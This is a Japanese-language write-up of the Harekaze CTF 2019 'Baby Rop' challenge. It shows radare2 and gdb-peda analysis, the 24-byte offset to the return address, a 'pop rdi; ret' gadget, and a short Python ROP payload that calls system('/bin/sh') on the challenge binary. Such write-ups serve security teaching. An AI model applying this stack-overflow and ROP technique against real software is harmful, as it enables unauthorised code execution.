Harekaze CTF 2019 Baby Rop Writeup

はじめに

この記事は睡魔と戦いながら書いているためところどころ日本語がおかしくなる場合がございます.


いろいろ確認

ファイル

$ file babyrop 
babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

よくある感じの実行ファイル

セキュリティ機構

$ checksec.sh --file babyrop 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

スタックカナリアが無いので,BOFを使うと考えられる.

プログラム内で行われている処理を確認

$ r2 -AA babyrop 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Select your architecture with: 'e asm.arch=<arch>' or r2 -a from the shell
[0x004004e0]> afl
0x004004e0    1 41           entry0
0x004004b0    1 6            sym.imp.__libc_start_main
0x00400510    4 50   -> 41   sym.deregister_tm_clones
0x00400550    4 58   -> 55   sym.register_tm_clones
0x00400590    3 28           entry.fini0
0x004005b0    4 38   -> 35   entry.init0
0x00400690    1 2            sym.__libc_csu_fini
0x00400694    1 9            sym._fini
0x00400620    4 101          sym.__libc_csu_init
0x004005d6    1 69           main
0x00400490    1 6            sym.imp.system
0x004004c0    1 6            sym.imp.__isoc99_scanf
0x004004a0    1 6            sym.imp.printf
0x00400460    3 26           sym._init
0x004004d0    1 6            sym..plt.got
0x004001a3    1 6            fcn.004001a3
[0x004004e0]> pdf @ main
/ (fcn) main 69
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4004fd)
|           0x004005d6      55             push rbp
|           0x004005d7      4889e5         mov rbp, rsp
|           0x004005da      4883ec10       sub rsp, 0x10
|           0x004005de      bfa8064000     mov edi, str.echo__n__What_s_your_name ; 0x4006a8 ; "echo -n \"What's your name? \"" ; const char *string
|           0x004005e3      e8a8feffff     call sym.imp.system         ; int system(const char *string)
|           0x004005e8      488d45f0       lea rax, [var_10h]
|           0x004005ec      4889c6         mov rsi, rax
|           0x004005ef      bfc5064000     mov edi, 0x4006c5           ; const char *format
|           0x004005f4      b800000000     mov eax, 0
|           0x004005f9      e8c2feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x004005fe      488d45f0       lea rax, [var_10h]
|           0x00400602      4889c6         mov rsi, rax
|           0x00400605      bfc8064000     mov edi, str.Welcome_to_the_Pwn_World___s ; 0x4006c8 ; "Welcome to the Pwn World, %s!\n" ; const char *format
|           0x0040060a      b800000000     mov eax, 0
|           0x0040060f      e88cfeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400614      b800000000     mov eax, 0
|           0x00400619      c9             leave
\           0x0040061a      c3             ret
[0x004004e0]> 
  1. system("echo -n \"What's your name? \");で名前を聞かれる.
  2. scanf("%s", ~~);で文字列を読み取る.
  3. printf("Welcome to the Pwn World, %s!\n");で入力した名前と合わせた文字列を出力する.

RIPを奪うまでのオフセットを確認

注意すること

今回の実行ファイルは内部でsystem()が呼ばれているため,gdbを起動したあとset follow-fork-mode parentで親プロセスの処理を追うように設定しなければならない.

$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ break main
Breakpoint 1 at 0x4005da
gdb-peda$ q
pochi@ubuntu:~/Desktop/Harekaze/babyrop$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ b *0x0040061a
Breakpoint 1 at 0x40061a
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/pochi/Desktop/Harekaze/babyrop/babyrop 
What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x602670 ("Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n")
RDI: 0x1 
RBP: 0x41412d4141434141 ('AACAA-AA')
RSP: 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
RIP: 0x40061a (<main+68>:   ret)
R8 : 0x0 
R9 : 0x32 ('2')
R10: 0xffffffce 
R11: 0x246 
R12: 0x4004e0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdeb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40060f <main+57>:  call   0x4004a0 <printf@plt>
   0x400614 <main+62>:  mov    eax,0x0
   0x400619 <main+67>:  leave  
=> 0x40061a <main+68>:   ret    
   0x40061b:  nop    DWORD PTR [rax+rax*1+0x0]
   0x400620 <__libc_csu_init>:  push   r15
   0x400622 <__libc_csu_init+2>:    push   r14
   0x400624 <__libc_csu_init+4>:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0x7fffffffdde0 ("A)AAEAAaAA0AAFAAbA")
0016| 0x7fffffffdde8 ("AA0AAFAAbA")
0024| 0x7fffffffddf0 --> 0x100004162 
0032| 0x7fffffffddf8 --> 0x4005d6 (<main>:   push   rbp)
0040| 0x7fffffffde00 --> 0x0 
0048| 0x7fffffffde08 --> 0xf0b869d1785eacbf 
0056| 0x7fffffffde10 --> 0x4004e0 (<_start>: xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040061a in main ()
gdb-peda$ patto (AADAA;
(AADAA; found at offset: 24
gdb-peda$ 

"A"*24 + (飛ばしたい処理のアドレス)で良いことがわかる.


方針

今回はプログラム内でsystem()が使用されているため,これを使う. 次に実行させたいコマンドとして使えそうな文字列を探す.libcが与えられていない部分などからプログラム内に隠されていると予想する.

[0x004004e0]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000006a8 0x004006a8  28  29 (.rodata) ascii echo -n "What's your name? "
001 0x000006c8 0x004006c8  30  31 (.rodata) ascii Welcome to the Pwn World, %s!\n
000 0x00001048 0x00601048   7   8 (.data) ascii /bin/sh

アドレス0x00601048/bin/shという理想的な文字列が見つかった.

次はsystem()の引数にどうやって/bin/shを渡すかである.x64は第一引数をrdiレジスタに格納するのでpop rdi; ret;というgadgetが必要. このような場合はrp++で探すと良い.

$ rp-lin-x64 --file=babyrop --rop=1 --unique | grep "pop"
0x00400682: pop r15 ; ret  ;  (1 found)
0x00400540: pop rbp ; ret  ;  (2 found)
0x00400683: pop rdi ; ret  ;  (1 found)

アドレス0x00400683に見つかったのでこれを使用する.


エクスプロイトコード

def main():
    payload = ""
    payload += "A" * 24
    payload += p64(0x400683)    # pop rdi; ret;
    payload += p64(0x601048)    # /bin/sh
    payload += p64(0x400490)    # system@plt

    # 通信部分

    read_until(s, "What's your name? ")
    s.sendall(payload + "\n")

    interact(s)


おわりに

追記したいことがあるので週末にでも書き足すのでよろしくお願いします.